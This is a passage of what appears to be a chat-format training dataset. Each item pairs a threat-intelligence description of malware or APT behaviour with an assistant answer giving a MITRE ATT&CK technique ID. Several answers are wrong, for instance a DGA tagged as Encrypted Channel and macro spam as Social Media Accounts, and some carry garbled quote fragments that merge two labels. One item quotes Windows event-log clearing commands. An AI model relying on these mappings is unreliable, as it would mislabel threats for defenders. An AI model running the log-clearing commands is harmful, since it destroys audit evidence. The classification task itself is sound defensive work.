                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aria-body has the ability to collect data from USB devices."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is obfuscated with the off-the-shelf SmartAssembly .NET obfuscator created by red-gate.com."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The instrumentor script also performs a cleanup of the cookies for Google Chrome and Microsoft Edge browsers. This is done by simply terminating any browser processes running on the system and then deleting the cookie files on disk"
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Daserf also uses file and folder names related to legitimate programs often found in Windows environments in order to blend in. Observed folder names include HP, Intel, Adobe, and perflogs and folders are generally created in either the root drive or the Application Data or Program Files folders. File names used in recent attacks include adobe.exe, adobe_sl.exe, intel.exe, and intellog.exe"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence with BITS UBoatRAT achieves persistence by using Microsoft Windows Background Intelligent Transfer Service(BITS). BITS is a service for transferring files between machines. Though the most famous application using the service is Windows Update, other applications or users can take advantage of the component. The tool provides the option, /SetNotifyCmdLine which executes a program when the job finishes transferring data or is in error. UBoatRAT takes advantage of the option to ensure it stays running on a system, even after a reboot. After completing the copying the local file, BITS executes the UBoatRAT file configured with /SetNotifyCmdLine at the third line"
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has tested malware samples to determine AV detection and subsequently modified the samples to ensure AV evasion."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rocke has modified UPX headers after packing files to break unpackers."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "At this point, the script establishes an HTTP connection to the C2 server. If the server response is comprised only of the same GUID that the malware sent, the script deletes itself. In the case of the second-stage script from Variant A, the script deletes the registry key where it is installed. In the case of Variant C, the script deletes the file from which it is running. If instead the server responds with any data other than the GUID, the second-stage script decrypts the data and saves it as a file"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion', 'T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious Word .doc file Besides the .pps file, the threat actor uses rich text files to deliver the malware. While other researchers have reported that these files exploit CVE-2012-0158, Symantec has also observed CVE-2015-1641 being exploited to drop Backdoor.Steladok"
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise', 'T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SpyNote is similar to Droidjack and is also a commercial RAT. It is powerful and provides convenient management tools.. At present, the price of different versions on the official websited is $499 and $4000 respectively."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An interesting fact is that the ransomware enumerates all running processes and compares the hashed name of each process with embedded hash values"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can check the compromised host for the presence of multiple executables associated with analysis tools and halt execution if any are found."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cardinal RAT can uninstall itself, including deleting its executable."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Darkhotel has used AES-256 and 3DES for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some Lazarus Group malware uses a list of ordered port numbers to choose a port for C2 traffic, creating port-protocol mismatches."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LockerGoga has been observed changing account passwords and logging off current users."
            },
            {
                "role": "assistant",
                "content": "T1531 - Account Access Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 has exfiltrated stolen data to the MEGA file sharing site."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Trojan.Karagany can gather information on the network configuration of a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has staged collected data files under \"C:\\Program Files\\Common Files\\System\\Ole DB\\\"."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has acquired credentials from the SAM/SECURITY registry hives."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "installs itself as a new service with automatic startup to establish persistence. The service checks every 60 seconds to determine if the malware is running; if not, it will spawn a new instance."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RATANKBA gathers information about the OS architecture, OS name, and OS version/Service pack."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. It uses RC4 encryption and custom Base64 encoding to obfuscate HTTP traffic. Datper uses an RC4-encrypted configuration to obfuscate HTTP traffic. xxmm (also known as Minzen) — This RAT and likely successor to Daserf AES-encrypts HTTP communications using a one-time encryption key. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. Use malware to upload the large list of enumerated files to the C2 server. Use downloaders or other malware to send the new list to a compromised host. Use an uploader or other malware to send the archived files to an attacker-controlled server. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The BONDUPDATER script, which was named based on the hard-coded string “B007”, uses a custom DGA algorithm to generate subdomains for communication with the C2 server"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has used scheduled tasks to automatically log out of created accounts every 8 hours as well as to execute malicious files."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "certutil has been used to decode binaries hidden inside certificate files as Base64 information."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Donut can download and execute previously staged shellcode payloads."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LiteDuke can securely delete files by first writing random data to the file."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can use self signed Java applets to execute signed applet attacks."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this ongoing campaign, FIN7 is targeting organizations with spear phishing emails containing either a malicious DOCX or RTF file – two versions of the same LNK file and VBScript technique"
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DustySky has two hard-coded domains for C2 servers; if the first does not respond, it will try the second."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gelsemium can decompress and decrypt DLLs and shellcode."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can record sound using input audio devices."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can download and execute additional files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bisonal used multiple lure documents to entice their victims to open and then be infected with Bisonal malware. Finally, in 2018, Ahnlab released a paper about \"Operation Bitter Biscuit\" where Bisonal was used against Korean and Japanese entities. This is an application document that has been used to provide a decoy to the Bisonal malware. The attacker also implemented a new order: execution of a command by using named pipe to get the output of the executed command. This mechanism allows the malware to execute API functions without ever using the Call instruction, making it difficult to perform the analysis. So that it ensures the thread has a chance to run, it will return the API call sleep() no matter what was originally requested. Office Extension . In 2019, the actor behind Bisonal used a new way to deploy the machine on the target's systems. The purpose of the malware is to deploy Bisonal on the infected system ($tmp$\\tmplogon.exe) and to create a Run registry key in order to execute Bisonal at the next reboot of the system. The attacker implements indirect API calls by using GetProcAddress() and LoadLibrary() API. Even if Bisonal could be considered as simple with less than 30 functions, it has spent its life targeting sensitive entities in both the public and private sectors"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUNBURST created VBScripts that were named after existing services or folders to blend into legitimate activities."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Volatile Cedar can deploy additional tools."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "admin@338 has attempted to get victims to launch malicious Microsoft Word attachments delivered via spearphishing emails."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Enables remote login - Enables screen sharing - Configures remote login permissions for the user - Allows remote login to all - Enables a hidden “root” account in macOS and sets the password specified in the Trojan code"
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has set up and operated websites to gather information and deliver malware."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Observed vulnerabilities include:  CVE-2012-0158  CVE-2017-0199  CVE-2017-8759  CVE-2017-11882       Figure 2: APT40 attack lifecycle  Establish Foothold APT40 uses a variety of malware and tools to establish a foothold, many of which are either publicly available or used by other threat groups"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Like any other typical PoS malware, Pillowmint iterates a list of processes and process them two at a time. it uses the API OpenProcess() using the PROCESS_VM_READ and PROCESS_QUERY_INFORMATION flags to obtain a handle then reads the memory’s content via ReadProcessMemory() API two chunks at a time. It then captures Track 1 and Track 2 credit card (CC) data. Depending on the Pillowmint version, it may encrypt the stolen CC data with AES encryption algorithm + Base64. Other versions may just encode the plain Credit Card Data it with Base64"
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System', 'T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLINDINGCAN has been signed with code-signing certificates such as CodeRipper."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  file stealer has the capability to steal data from newly connected logical volumes on a system, including USB drives."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As can be seen in the figure above, the packer used for CVE-2019-0803 is very similar to the one used in CVE-2017-0005. The file was compiled on September 18, 2018, and is also internally named “Add.dll”. Like the previously packed exploit, CVE-2019-0803 also has an export function named “AddByGod” and contains debug information"
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Unique User-Agents The unique User-Agents used in the HTTP communication between SpeakUp to the C&C are a possible path to the identity of the threat actor behind this campaign"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ragnar Locker has used VirtualBox and a stripped Windows XP virtual machine to run itself. The use of a shared folder specified in the configuration enables Ragnar Locker to encrypt files on the host operating system, including files on any mapped drives."
            },
            {
                "role": "assistant",
                "content": "T1564.006 - Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Another interesting finding is that Bazar Loader has now implemented a Domain Generation Algorithm using the current date as a seed"
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BBSRAT uses Expand to decompress a CAB file into executable content."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware SierraAlfa accesses the ADMIN$ share via SMB to conduct lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The directory creation.  Downloading the Payloads The remote XSL script downloads twelve files from the C2 server that masquerade themselves as JPEG, GIF, and extensionless files"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA505 has decrypted packed DLLs with an XOR key."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike has the ability to accept a value for HTTP Host Header to enable domain fronting."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Discovery of a Stealthy New Malware: “CSPY Downloader” is a tool designed to evade analysis and download additional payloads"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In some cases, the encoded PowerShell commands were used to download and execute content hosted on the paste site hxxps://pastebin[.]com"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, the threat actors deleted all Windows system and security event logs using `/Q /c wevtutil cl system` and `/Q /c wevtutil cl security`."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal on Host: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Variants of  achieve persistence by using DLL search order hijacking, usually by copying the DLL file to %SYSTEMROOT% (C:\\WINDOWS\\ntshrui.dll)."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We detect the attachment file as W97M/Adnel or MHT/Dloader. This macro malware is usually attached in the spam emails as .doc files. It uses social engineering tricks to be able to run the malicious macro script that is disabled by default in Microsoft Office."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WastedLocker checks for specific registry keys related to the \"UCOMIEnumConnections\" and \"IActiveScriptParseProcedure32\" interfaces."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ember Bear has obtained and used open source scripts from GitHub."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For the purpose of social engineering, the threat actor chose file names related to legitimate online services, including Microsoft OneDrive. In a few instances, we observed the use of file names resembling McAfee’s endpoint security product. Even the file icons for these binaries are selected to masquerade as the corresponding legitimate applications"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "While we do not have data supporting targeting information or telemetry, we know the document was created in January 2018 and likely used in an attack around that time frame. The QUADAGENT payload dropped by the delivery document had the filename AdobeAcrobatLicenseVerify.ps1 and used acrobatverify[.]com for its C2. This IP and msoffice-cdn[.]com were both previously referenced in our first report on an OilRig attack using the ThreeDollars delivery document. We used this QUADAGENT payload when testing the Invoke-Obfuscation tool mentioned in this blog. QUADAGENT Analysis The final payload delivered in all three attack waves is a PowerShell downloader referred to by other research organizations as QUADAGENT. The downloaders in these attacks were configured to use both rdppath[.]com and cpuproc[.]com as their C2 servers. When communicating with its C2 server, the downloaders use multiple protocols, specifically HTTPS, HTTP or DNS, each of which provide a fallback channel in that order. For instance, the downloader will first attempt to communicate with its C2 server using an HTTPS request. Lastly, if the HTTP request is not successful, the downloader will fallback to using DNS tunneling to establish communications. We provide more on the specific usage of these protocols as we discuss the inner workings of this malware in this section"
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The White Company has obfuscated their payloads through packing."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can delete files off the system."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Evilnum can steal cookies and session information from browsers."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "stores itself in ~/Library/.DS_Stores/"
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
